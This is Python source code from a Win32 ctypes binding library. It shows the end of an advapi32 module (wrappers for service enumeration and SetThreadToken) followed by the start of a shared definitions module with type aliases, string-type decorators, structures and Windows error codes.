3148 # _In_ SC_HANDLE hSCManager,
3149 # _In_ DWORD dwServiceType,
3150 # _In_ DWORD dwServiceState,
3151 # _Out_opt_ LPENUM_SERVICE_STATUS lpServices,
3152 # _In_ DWORD cbBufSize,
3153 # _Out_ LPDWORD pcbBytesNeeded,
3154 # _Out_ LPDWORD lpServicesReturned,
3155 # _Inout_opt_ LPDWORD lpResumeHANDLE
3156 # );
3157 def EnumServicesStatusA(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL):
3158 _EnumServicesStatusA = windll.advapi32.EnumServicesStatusA
3159 _EnumServicesStatusA.argtypes = [SC_HANDLE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD]
3160 _EnumServicesStatusA.restype = bool
3161
3162 cbBytesNeeded = DWORD(0)
3163 ServicesReturned = DWORD(0)
3164 ResumeHANDLE = DWORD(0)
3165
3166 _EnumServicesStatusA(hSCManager, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE))
3167
3168 Services = []
3169 success = False
3170 while GetLastError() == ERROR_MORE_DATA:
3171 if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUSA):
3172 break
3173 ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value)
3174 success = _EnumServicesStatusA(hSCManager, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE))
3175 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSA) * ServicesReturned.value):
3176 raise ctypes.WinError()
3177 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSA)
3178 for index in xrange(0, ServicesReturned.value):
3179 Services.append( ServiceStatusEntry(lpServicesArray[index]) )
3180 if success: break
3181 if not success:
3182 raise ctypes.WinError()
3183
3184 return Services
3185
3186 def EnumServicesStatusW(hSCManager, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL):
3187 _EnumServicesStatusW = windll.advapi32.EnumServicesStatusW
3188 _EnumServicesStatusW.argtypes = [SC_HANDLE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD]
3189 _EnumServicesStatusW.restype = bool
3190
3191 cbBytesNeeded = DWORD(0)
3192 ServicesReturned = DWORD(0)
3193 ResumeHANDLE = DWORD(0)
3194
3195 _EnumServicesStatusW(hSCManager, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE))
3196
3197 Services = []
3198 success = False
3199 while GetLastError() == ERROR_MORE_DATA:
3200 if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUSW):
3201 break
3202 ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value)
3203 success = _EnumServicesStatusW(hSCManager, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE))
3204 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUSW) * ServicesReturned.value):
3205 raise ctypes.WinError()
3206 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUSW)
3207 for index in xrange(0, ServicesReturned.value):
3208 Services.append( ServiceStatusEntry(lpServicesArray[index]) )
3209 if success: break
3210 if not success:
3211 raise ctypes.WinError()
3212
3213 return Services
3214
3215 EnumServicesStatus = DefaultStringType(EnumServicesStatusA, EnumServicesStatusW)
3216
3217 # BOOL WINAPI EnumServicesStatusEx(
3218 # _In_ SC_HANDLE hSCManager,
3219 # _In_ SC_ENUM_TYPE InfoLevel,
3220 # _In_ DWORD dwServiceType,
3221 # _In_ DWORD dwServiceState,
3222 # _Out_opt_ LPBYTE lpServices,
3223 # _In_ DWORD cbBufSize,
3224 # _Out_ LPDWORD pcbBytesNeeded,
3225 # _Out_ LPDWORD lpServicesReturned,
3226 # _Inout_opt_ LPDWORD lpResumeHANDLE,
3227 # _In_opt_ LPCTSTR pszGroupName
3228 # );
3229 def EnumServicesStatusExA(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None):
3230
3231 if InfoLevel != SC_ENUM_PROCESS_INFO:
3232 raise NotImplementedError()
3233
3234 _EnumServicesStatusExA = windll.advapi32.EnumServicesStatusExA
3235 _EnumServicesStatusExA.argtypes = [SC_HANDLE, SC_ENUM_TYPE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD, LPSTR]
3236 _EnumServicesStatusExA.restype = bool
3237
3238 cbBytesNeeded = DWORD(0)
3239 ServicesReturned = DWORD(0)
3240 ResumeHANDLE = DWORD(0)
3241
3242 _EnumServicesStatusExA(hSCManager, InfoLevel, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName)
3243
3244 Services = []
3245 success = False
3246 while GetLastError() == ERROR_MORE_DATA:
3247 if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUS_PROCESSA):
3248 break
3249 ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value)
3250 success = _EnumServicesStatusExA(hSCManager, InfoLevel, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName)
3251 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSA) * ServicesReturned.value):
3252 raise ctypes.WinError()
3253 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSA)
3254 for index in xrange(0, ServicesReturned.value):
3255 Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) )
3256 if success: break
3257 if not success:
3258 raise ctypes.WinError()
3259
3260 return Services
3261
3262 def EnumServicesStatusExW(hSCManager, InfoLevel = SC_ENUM_PROCESS_INFO, dwServiceType = SERVICE_DRIVER | SERVICE_WIN32, dwServiceState = SERVICE_STATE_ALL, pszGroupName = None):
3263 _EnumServicesStatusExW = windll.advapi32.EnumServicesStatusExW
3264 _EnumServicesStatusExW.argtypes = [SC_HANDLE, SC_ENUM_TYPE, DWORD, DWORD, LPVOID, DWORD, LPDWORD, LPDWORD, LPDWORD, LPWSTR]
3265 _EnumServicesStatusExW.restype = bool
3266
3267 if InfoLevel != SC_ENUM_PROCESS_INFO:
3268 raise NotImplementedError()
3269
3270 cbBytesNeeded = DWORD(0)
3271 ServicesReturned = DWORD(0)
3272 ResumeHANDLE = DWORD(0)
3273
3274 _EnumServicesStatusExW(hSCManager, InfoLevel, dwServiceType, dwServiceState, None, 0, byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName)
3275
3276 Services = []
3277 success = False
3278 while GetLastError() == ERROR_MORE_DATA:
3279 if cbBytesNeeded.value < sizeof(ENUM_SERVICE_STATUS_PROCESSW):
3280 break
3281 ServicesBuffer = ctypes.create_string_buffer("", cbBytesNeeded.value)
3282 success = _EnumServicesStatusExW(hSCManager, InfoLevel, dwServiceType, dwServiceState, byref(ServicesBuffer), sizeof(ServicesBuffer), byref(cbBytesNeeded), byref(ServicesReturned), byref(ResumeHANDLE), pszGroupName)
3283 if sizeof(ServicesBuffer) < (sizeof(ENUM_SERVICE_STATUS_PROCESSW) * ServicesReturned.value):
3284 raise ctypes.WinError()
3285 lpServicesArray = ctypes.cast(ctypes.cast(ctypes.pointer(ServicesBuffer), ctypes.c_void_p), LPENUM_SERVICE_STATUS_PROCESSW)
3286 for index in xrange(0, ServicesReturned.value):
3287 Services.append( ServiceStatusProcessEntry(lpServicesArray[index]) )
3288 if success: break
3289 if not success:
3290 raise ctypes.WinError()
3291
3292 return Services
3293
3294 EnumServicesStatusEx = DefaultStringType(EnumServicesStatusExA, EnumServicesStatusExW)
3295
3296 # BOOL WINAPI EnumDependentServices(
3297 # _In_ SC_HANDLE hService,
3298 # _In_ DWORD dwServiceState,
3299 # _Out_opt_ LPENUM_SERVICE_STATUS lpServices,
3300 # _In_ DWORD cbBufSize,
3301 # _Out_ LPDWORD pcbBytesNeeded,
3302 # _Out_ LPDWORD lpServicesReturned
3303 # );
3304
3305 # TO DO
3306
3307
3308 # BOOL SetThreadToken(
3309 # PHANDLE Thread,
3310 # HANDLE Token
3311 # );
3312
3313 def SetThreadToken(token_handle, thread_handle = None):
3314 _SetThreadToken = windll.advapi32.SetThreadToken
3315 _SetThreadToken.argtypes = [PHANDLE , HANDLE]
3316 _SetThreadToken.restype = bool
3317 _SetThreadToken.errcheck = RaiseIfZero
3318
3319 _SetThreadToken(thread_handle, token_handle)
3320
3321
3322
3323 #==============================================================================
3324 # This calculates the list of exported symbols.
3325 _all = set(vars().keys()).difference(_all)
3326 __all__ = [_x for _x in _all if not _x.startswith('_')]
3327 __all__.sort()
3328 #==============================================================================
0 #!/usr/bin/env python
1 # -*- coding: utf-8 -*-
2
3 # Copyright (c) 2009-2016, Mario Vilas
4 # All rights reserved.
5 #
6 # Redistribution and use in source and binary forms, with or without
7 # modification, are permitted provided that the following conditions are met:
8 #
9 # * Redistributions of source code must retain the above copyright notice,
10 # this list of conditions and the following disclaimer.
11 # * Redistributions in binary form must reproduce the above copyright
12 # notice,this list of conditions and the following disclaimer in the
13 # documentation and/or other materials provided with the distribution.
14 # * Neither the name of the copyright holder nor the names of its
15 # contributors may be used to endorse or promote products derived from
16 # this software without specific prior written permission.
17 #
18 # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
19 # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
20 # IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
21 # ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
22 # LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
23 # CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
24 # SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
25 # INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
26 # CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
27 # ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
28 # POSSIBILITY OF SUCH DAMAGE.
29
30 """
31 Common definitions.
32 """
33
34 # TODO
35 # + add TCHAR and related types?
36
37 import ctypes
38 import functools
39
40 #==============================================================================
41 # This is used later on to calculate the list of exported symbols.
42 _all = None
43 _all = set(vars().keys())
44 #==============================================================================
45
46 # Cygwin compatibility.
47 try:
48 WindowsError
49 except NameError:
50 _gle = None
51 class WindowsError(OSError):
52 def __init__(self, *args, **kwargs):
53 OSError.__init__(self, *args, **kwargs)
54 global _gle
55 if _gle is None:
56 from kernel32 import GetLastError as _gle
57 self.winerror = _gle()
58
59 from os import getenv as _real_getenv
60 def getenv(key, default=None):
61 value = _real_getenv(key, None)
62 if value is None:
63 value = _real_getenv(key.upper(), default)
64 return value
65
66 #------------------------------------------------------------------------------
67
68 # Some stuff from ctypes we'll be using very frequently.
69 addressof = ctypes.addressof
70 sizeof = ctypes.sizeof
71 SIZEOF = ctypes.sizeof
72 POINTER = ctypes.POINTER
73 WINFUNCTYPE = ctypes.WINFUNCTYPE
74 windll = ctypes.windll
75
76 # Automatically disable padding of structs and unions on 32 bits.
77 class Structure(ctypes.Structure):
78 if sizeof(ctypes.c_void_p) == 4:
79 _pack_ = 1
80 class Union(ctypes.Union):
81 if sizeof(ctypes.c_void_p) == 4:
82 _pack_ = 1
83
84 # The IronPython implementation of byref() was giving some problems,
85 # so it's best to replace it with the slower pointer() function.
86 try:
87 ctypes.c_void_p(ctypes.byref(ctypes.c_char())) # this fails in IronPython
88 byref = ctypes.byref
89 except TypeError:
90 byref = ctypes.pointer
91
92 # XXX DEBUG
93 # The following code can be enabled to make the Win32 API wrappers log to
94 # standard output the dll and function names, the parameter values and the
95 # return value for each call.
96
97 ##WIN32_VERBOSE_MODE = True
98 WIN32_VERBOSE_MODE = False
99
100 if WIN32_VERBOSE_MODE:
101
102 class WinDllHook(object):
103 def __getattr__(self, name):
104 if name.startswith('_'):
105 return object.__getattr__(self, name)
106 return WinFuncHook(name)
107
108 class WinFuncHook(object):
109 def __init__(self, name):
110 self.__name = name
111
112 def __getattr__(self, name):
113 if name.startswith('_'):
114 return object.__getattr__(self, name)
115 return WinCallHook(self.__name, name)
116
117 class WinCallHook(object):
118 def __init__(self, dllname, funcname):
119 self.__dllname = dllname
120 self.__funcname = funcname
121 self.__func = getattr(getattr(ctypes.windll, dllname), funcname)
122
123 def __copy_attribute(self, attribute):
124 try:
125 value = getattr(self, attribute)
126 setattr(self.__func, attribute, value)
127 except AttributeError:
128 try:
129 delattr(self.__func, attribute)
130 except AttributeError:
131 pass
132
133 def __call__(self, *argv):
134 self.__copy_attribute('argtypes')
135 self.__copy_attribute('restype')
136 self.__copy_attribute('errcheck')
137 print("-"*10)
138 print("%s ! %s %r" % (self.__dllname, self.__funcname, argv))
139 retval = self.__func(*argv)
140 print("== %r" % (retval,))
141 return retval
142
143 windll = WinDllHook()
144
145 #------------------------------------------------------------------------------
146
147 def RaiseIfZero(result, func = None, arguments = ()):
148 """
149 Error checking for most Win32 API calls.
150
151 The function is assumed to return an integer, which is C{0} on error.
152 In that case the C{WindowsError} exception is raised.
153 """
154 if not result:
155 raise ctypes.WinError()
156 return result
157
158 def RaiseIfNotZero(result, func = None, arguments = ()):
159 """
160 Error checking for some odd Win32 API calls.
161
162 The function is assumed to return an integer, which is zero on success.
163 If the return value is nonzero the C{WindowsError} exception is raised.
164
165 This is mostly useful for free() like functions, where the return value is
166 the pointer to the memory block on failure or a C{NULL} pointer on success.
167 """
168 if result:
169 raise ctypes.WinError()
170 return result
171
172 def RaiseIfNotErrorSuccess(result, func = None, arguments = ()):
173 """
174 Error checking for Win32 Registry API calls.
175
176 The function is assumed to return a Win32 error code. If the code is not
177 C{ERROR_SUCCESS} then a C{WindowsError} exception is raised.
178 """
179 if result != ERROR_SUCCESS:
180 raise ctypes.WinError(result)
181 return result
182
183 class GuessStringType(object):
184 """
185 Decorator that guesses the correct version (A or W) to call
186 based on the types of the strings passed as parameters.
187
188 Calls the B{ANSI} version if the only string types are ANSI.
189
190 Calls the B{Unicode} version if Unicode or mixed string types are passed.
191
192 The default if no string arguments are passed depends on the value of the
193 L{t_default} class variable.
194
195 @type fn_ansi: function
196 @ivar fn_ansi: ANSI version of the API function to call.
197 @type fn_unicode: function
198 @ivar fn_unicode: Unicode (wide) version of the API function to call.
199
200 @type t_default: type
201 @cvar t_default: Default string type to use.
202 Possible values are:
203 - type('') for ANSI
204 - type(u'') for Unicode
205 """
206
207 # ANSI and Unicode types
208 t_ansi = type('')
209 t_unicode = type(u'')
210
211 # Default is ANSI for Python 2.x
212 t_default = t_ansi
213
214 def __init__(self, fn_ansi, fn_unicode):
215 """
216 @type fn_ansi: function
217 @param fn_ansi: ANSI version of the API function to call.
218 @type fn_unicode: function
219 @param fn_unicode: Unicode (wide) version of the API function to call.
220 """
221 self.fn_ansi = fn_ansi
222 self.fn_unicode = fn_unicode
223
224 # Copy the wrapped function attributes.
225 try:
226 self.__name__ = self.fn_ansi.__name__[:-1] # remove the A or W
227 except AttributeError:
228 pass
229 try:
230 self.__module__ = self.fn_ansi.__module__
231 except AttributeError:
232 pass
233 try:
234 self.__doc__ = self.fn_ansi.__doc__
235 except AttributeError:
236 pass
237
238 def __call__(self, *argv, **argd):
239
240 # Shortcut to self.t_ansi
241 t_ansi = self.t_ansi
242
243 # Get the types of all arguments for the function
244 v_types = [ type(item) for item in argv ]
245 v_types.extend( [ type(value) for (key, value) in argd.items() ] )
246
247 # Get the appropriate function for the default type
248 if self.t_default == t_ansi:
249 fn = self.fn_ansi
250 else:
251 fn = self.fn_unicode
252
253 # If at least one argument is a Unicode string...
254 if self.t_unicode in v_types:
255
256 # If al least one argument is an ANSI string,
257 # convert all ANSI strings to Unicode
258 if t_ansi in v_types:
259 argv = list(argv)
260 for index in range(len(argv)):
261 if v_types[index] == t_ansi:
262 argv[index] = argv[index]
263 for (key, value) in argd.items():
264 if type(value) == t_ansi:
265 argd[key] = value
266
267 # Use the W version
268 fn = self.fn_unicode
269
270 # If at least one argument is an ANSI string,
271 # but there are no Unicode strings...
272 elif t_ansi in v_types:
273
274 # Use the A version
275 fn = self.fn_ansi
276
277 # Call the function and return the result
278 return fn(*argv, **argd)
279
280 class DefaultStringType(object):
281 """
282 Decorator that uses the default version (A or W) to call
283 based on the configuration of the L{GuessStringType} decorator.
284
285 @see: L{GuessStringType.t_default}
286
287 @type fn_ansi: function
288 @ivar fn_ansi: ANSI version of the API function to call.
289 @type fn_unicode: function
290 @ivar fn_unicode: Unicode (wide) version of the API function to call.
291 """
292
293 def __init__(self, fn_ansi, fn_unicode):
294 """
295 @type fn_ansi: function
296 @param fn_ansi: ANSI version of the API function to call.
297 @type fn_unicode: function
298 @param fn_unicode: Unicode (wide) version of the API function to call.
299 """
300 self.fn_ansi = fn_ansi
301 self.fn_unicode = fn_unicode
302
303 # Copy the wrapped function attributes.
304 try:
305 self.__name__ = self.fn_ansi.__name__[:-1] # remove the A or W
306 except AttributeError:
307 pass
308 try:
309 self.__module__ = self.fn_ansi.__module__
310 except AttributeError:
311 pass
312 try:
313 self.__doc__ = self.fn_ansi.__doc__
314 except AttributeError:
315 pass
316
317 def __call__(self, *argv, **argd):
318
319 # Get the appropriate function based on the default.
320 if GuessStringType.t_default == GuessStringType.t_ansi:
321 fn = self.fn_ansi
322 else:
323 fn = self.fn_unicode
324
325 # Call the function and return the result
326 return fn(*argv, **argd)
327
328 def MakeANSIVersion(fn):
329 """
330 Decorator that generates an ANSI version of a Unicode (wide) only API call.
331
332 @type fn: callable
333 @param fn: Unicode (wide) version of the API function to call.
334 """
335 @functools.wraps(fn)
336 def wrapper(*argv, **argd):
337 t_ansi = GuessStringType.t_ansi
338 t_unicode = GuessStringType.t_unicode
339 v_types = [ type(item) for item in argv ]
340 v_types.extend( [ type(value) for (key, value) in argd.items() ] )
341 if t_ansi in v_types:
342 argv = list(argv)
343 for index in range(len(argv)):
344 if v_types[index] == t_ansi:
345 argv[index] = t_unicode(argv[index])
346 for key, value in argd.items():
347 if type(value) == t_ansi:
348 argd[key] = t_unicode(value)
349 return fn(*argv, **argd)
350 return wrapper
351
352 def MakeWideVersion(fn):
353 """
354 Decorator that generates a Unicode (wide) version of an ANSI only API call.
355
356 @type fn: callable
357 @param fn: ANSI version of the API function to call.
358 """
359 @functools.wraps(fn)
360 def wrapper(*argv, **argd):
361 t_ansi = GuessStringType.t_ansi
362 t_unicode = GuessStringType.t_unicode
363 v_types = [ type(item) for item in argv ]
364 v_types.extend( [ type(value) for (key, value) in argd.items() ] )
365 if t_unicode in v_types:
366 argv = list(argv)
367 for index in range(len(argv)):
368 if v_types[index] == t_unicode:
369 argv[index] = t_ansi(argv[index])
370 for key, value in argd.items():
371 if type(value) == t_unicode:
372 argd[key] = t_ansi(value)
373 return fn(*argv, **argd)
374 return wrapper
375
376 #--- Types --------------------------------------------------------------------
377 # http://msdn.microsoft.com/en-us/library/aa383751(v=vs.85).aspx
378
379 # Map of basic C types to Win32 types
380 LPVOID = ctypes.c_void_p
381 CHAR = ctypes.c_char
382 WCHAR = ctypes.c_wchar
383 BYTE = ctypes.c_ubyte
384 SBYTE = ctypes.c_byte
385 WORD = ctypes.c_uint16
386 SWORD = ctypes.c_int16
387 DWORD = ctypes.c_uint32
388 SDWORD = ctypes.c_int32
389 QWORD = ctypes.c_uint64
390 SQWORD = ctypes.c_int64
391 SHORT = ctypes.c_int16
392 USHORT = ctypes.c_uint16
393 INT = ctypes.c_int32
394 UINT = ctypes.c_uint32
395 LONG = ctypes.c_int32
396 ULONG = ctypes.c_uint32
397 LONGLONG = ctypes.c_int64 # c_longlong
398 ULONGLONG = ctypes.c_uint64 # c_ulonglong
399 LPSTR = ctypes.c_char_p
400 LPWSTR = ctypes.c_wchar_p
401 INT8 = ctypes.c_int8
402 INT16 = ctypes.c_int16
403 INT32 = ctypes.c_int32
404 INT64 = ctypes.c_int64
405 UINT8 = ctypes.c_uint8
406 UINT16 = ctypes.c_uint16
407 UINT32 = ctypes.c_uint32
408 UINT64 = ctypes.c_uint64
409 LONG32 = ctypes.c_int32
410 LONG64 = ctypes.c_int64
411 ULONG32 = ctypes.c_uint32
412 ULONG64 = ctypes.c_uint64
413 DWORD32 = ctypes.c_uint32
414 DWORD64 = ctypes.c_uint64
415 BOOL = ctypes.c_int32
416 FLOAT = ctypes.c_float # not sure on cygwin
417 DOUBLE = ctypes.c_double # not sure on cygwin
418
419 # Map size_t to SIZE_T
420 try:
421 SIZE_T = ctypes.c_size_t
422 SSIZE_T = ctypes.c_ssize_t
423 except AttributeError:
424 # Size of a pointer
425 SIZE_T = {1:BYTE, 2:WORD, 4:DWORD, 8:QWORD}[sizeof(LPVOID)]
426 SSIZE_T = {1:SBYTE, 2:SWORD, 4:SDWORD, 8:SQWORD}[sizeof(LPVOID)]
427 PSIZE_T = POINTER(SIZE_T)
428
429 # Not really pointers but pointer-sized integers
430 DWORD_PTR = SIZE_T
431 ULONG_PTR = SIZE_T
432 LONG_PTR = SIZE_T
433
434 # Other Win32 types, more may be added as needed
435 PVOID = LPVOID
436 PPVOID = POINTER(PVOID)
437 PSTR = LPSTR
438 PWSTR = LPWSTR
439 PCHAR = LPSTR
440 PWCHAR = LPWSTR
441 LPBYTE = POINTER(BYTE)
442 LPSBYTE = POINTER(SBYTE)
443 LPWORD = POINTER(WORD)
444 LPSWORD = POINTER(SWORD)
445 LPDWORD = POINTER(DWORD)
446 LPSDWORD = POINTER(SDWORD)
447 LPULONG = POINTER(ULONG)
448 LPLONG = POINTER(LONG)
449 PDWORD = LPDWORD
450 PDWORD_PTR = POINTER(DWORD_PTR)
451 PULONG = LPULONG
452 PLONG = LPLONG
453 CCHAR = CHAR
454 BOOLEAN = BYTE
455 PBOOL = POINTER(BOOL)
456 LPBOOL = PBOOL
457 TCHAR = CHAR # XXX ANSI by default?
458 UCHAR = BYTE
459 DWORDLONG = ULONGLONG
460 LPDWORD32 = POINTER(DWORD32)
461 LPULONG32 = POINTER(ULONG32)
462 LPDWORD64 = POINTER(DWORD64)
463 LPULONG64 = POINTER(ULONG64)
464 PDWORD32 = LPDWORD32
465 PULONG32 = LPULONG32
466 PDWORD64 = LPDWORD64
467 PULONG64 = LPULONG64
468 ATOM = WORD
469 HANDLE = LPVOID
470 PHANDLE = POINTER(HANDLE)
471 LPHANDLE = PHANDLE
472 HMODULE = HANDLE
473 HINSTANCE = HANDLE
474 HTASK = HANDLE
475 HKEY = HANDLE
476 PHKEY = POINTER(HKEY)
477 HDESK = HANDLE
478 HRSRC = HANDLE
479 HSTR = HANDLE
480 HWINSTA = HANDLE
481 HKL = HANDLE
482 HDWP = HANDLE
483 HFILE = HANDLE
484 HRESULT = LONG
485 HGLOBAL = HANDLE
486 HLOCAL = HANDLE
487 HGDIOBJ = HANDLE
488 HDC = HGDIOBJ
489 HRGN = HGDIOBJ
490 HBITMAP = HGDIOBJ
491 HPALETTE = HGDIOBJ
492 HPEN = HGDIOBJ
493 HBRUSH = HGDIOBJ
494 HMF = HGDIOBJ
495 HEMF = HGDIOBJ
496 HENHMETAFILE = HGDIOBJ
497 HMETAFILE = HGDIOBJ
498 HMETAFILEPICT = HGDIOBJ
499 HWND = HANDLE
500 NTSTATUS = LONG
501 PNTSTATUS = POINTER(NTSTATUS)
502 KAFFINITY = ULONG_PTR
503 RVA = DWORD
504 RVA64 = QWORD
505 WPARAM = DWORD
506 LPARAM = LPVOID
507 LRESULT = LPVOID
508 ACCESS_MASK = DWORD
509 REGSAM = ACCESS_MASK
510 PACCESS_MASK = POINTER(ACCESS_MASK)
511 PREGSAM = POINTER(REGSAM)
512
513 # Since the SID is an opaque structure, let's treat its pointers as void*
514 PSID = PVOID
515
516 # typedef union _LARGE_INTEGER {
517 # struct {
518 # DWORD LowPart;
519 # LONG HighPart;
520 # } ;
521 # struct {
522 # DWORD LowPart;
523 # LONG HighPart;
524 # } u;
525 # LONGLONG QuadPart;
526 # } LARGE_INTEGER,
527 # *PLARGE_INTEGER;
528
529 # XXX TODO
530
531 # typedef struct _FLOAT128 {
532 # __int64 LowPart;
533 # __int64 HighPart;
534 # } FLOAT128;
535 class FLOAT128 (Structure):
536 _fields_ = [
537 ("LowPart", QWORD),
538 ("HighPart", QWORD),
539 ]
540 PFLOAT128 = POINTER(FLOAT128)
541
542 # typedef struct DECLSPEC_ALIGN(16) _M128A {
543 # ULONGLONG Low;
544 # LONGLONG High;
545 # } M128A, *PM128A;
546 class M128A(Structure):
547 _fields_ = [
548 ("Low", ULONGLONG),
549 ("High", LONGLONG),
550 ]
551 PM128A = POINTER(M128A)
552
553 #--- Constants ----------------------------------------------------------------
554
555 NULL = None
556 INFINITE = -1
557 TRUE = 1
558 FALSE = 0
559
560 # http://blogs.msdn.com/oldnewthing/archive/2004/08/26/220873.aspx
561 ANYSIZE_ARRAY = 1
562
563 # Invalid handle value is -1 casted to void pointer.
564 try:
565 INVALID_HANDLE_VALUE = ctypes.c_void_p(-1).value #-1 #0xFFFFFFFF
566 except TypeError:
567 if sizeof(ctypes.c_void_p) == 4:
568 INVALID_HANDLE_VALUE = 0xFFFFFFFF
569 elif sizeof(ctypes.c_void_p) == 8:
570 INVALID_HANDLE_VALUE = 0xFFFFFFFFFFFFFFFF
571 else:
572 raise
573
574 MAX_MODULE_NAME32 = 255
575 MAX_PATH = 260
576
577 # Error codes
578 # TODO maybe add more error codes?
579 # if they're too many they could be pickled instead,
580 # or at the very least put in a new file
581 ERROR_SUCCESS = 0
582 ERROR_INVALID_FUNCTION = 1
583 ERROR_FILE_NOT_FOUND = 2
584 ERROR_PATH_NOT_FOUND = 3
585 ERROR_ACCESS_DENIED = 5
586 ERROR_INVALID_HANDLE = 6
587 ERROR_NOT_ENOUGH_MEMORY = 8
588 ERROR_INVALID_DRIVE = 15
589 ERROR_NO_MORE_FILES = 18
590 ERROR_BAD_LENGTH = 24
591 ERROR_HANDLE_EOF = 38
592 ERROR_HANDLE_DISK_FULL = 39
593 ERROR_NOT_SUPPORTED = 50
594 ERROR_FILE_EXISTS = 80
595 ERROR_INVALID_PARAMETER = 87
596 ERROR_BUFFER_OVERFLOW = 111
597 ERROR_DISK_FULL = 112
598 ERROR_CALL_NOT_IMPLEMENTED = 120
599 ERROR_SEM_TIMEOUT = 121
600 ERROR_INSUFFICIENT_BUFFER = 122
601 ERROR_INVALID_NAME = 123
602 ERROR_MOD_NOT_FOUND = 126
603 ERROR_PROC_NOT_FOUND = 127
604 ERROR_DIR_NOT_EMPTY = 145
605 ERROR_BAD_THREADID_ADDR = 159
606 ERROR_BAD_ARGUMENTS = 160
607 ERROR_BAD_PATHNAME = 161
608 ERROR_ALREADY_EXISTS = 183
609 ERROR_INVALID_FLAG_NUMBER = 186
610 ERROR_ENVVAR_NOT_FOUND = 203
611 ERROR_FILENAME_EXCED_RANGE = 206
612 ERROR_MORE_DATA = 234
613
614 WAIT_TIMEOUT = 258
615
616 ERROR_NO_MORE_ITEMS = 259
617 ERROR_PARTIAL_COPY = 299
618 ERROR_INVALID_ADDRESS = 487
619 ERROR_THREAD_NOT_IN_PROCESS = 566
620 ERROR_CONTROL_C_EXIT = 572
621 ERROR_UNHANDLED_EXCEPTION = 574
622 ERROR_ASSERTION_FAILURE = 668
623 ERROR_WOW_ASSERTION = 670
624
625 ERROR_DBG_EXCEPTION_NOT_HANDLED = 688
626 ERROR_DBG_REPLY_LATER = 689
627 ERROR_DBG_UNABLE_TO_PROVIDE_HANDLE = 690
628 ERROR_DBG_TERMINATE_THREAD = 691
629 ERROR_DBG_TERMINATE_PROCESS = 692
630 ERROR_DBG_CONTROL_C = 693
631 ERROR_DBG_PRINTEXCEPTION_C = 694
632 ERROR_DBG_RIPEXCEPTION = 695
633 ERROR_DBG_CONTROL_BREAK = 696
634 ERROR_DBG_COMMAND_EXCEPTION = 697
635 ERROR_DBG_EXCEPTION_HANDLED = 766
636 ERROR_DBG_CONTINUE = 767
637
638 ERROR_ELEVATION_REQUIRED = 740
639 ERROR_NOACCESS = 998
640
641 ERROR_CIRCULAR_DEPENDENCY = 1059
642 ERROR_SERVICE_DOES_NOT_EXIST = 1060
643 ERROR_SERVICE_CANNOT_ACCEPT_CTRL = 1061
644 ERROR_SERVICE_NOT_ACTIVE = 1062
645 ERROR_FAILED_SERVICE_CONTROLLER_CONNECT = 1063
646 ERROR_EXCEPTION_IN_SERVICE = 1064
647 ERROR_DATABASE_DOES_NOT_EXIST = 1065
648 ERROR_SERVICE_SPECIFIC_ERROR = 1066
649 ERROR_PROCESS_ABORTED = 1067
650 ERROR_SERVICE_DEPENDENCY_FAIL = 1068
651 ERROR_SERVICE_LOGON_FAILED = 1069
652 ERROR_SERVICE_START_HANG = 1070
653 ERROR_INVALID_SERVICE_LOCK = 1071
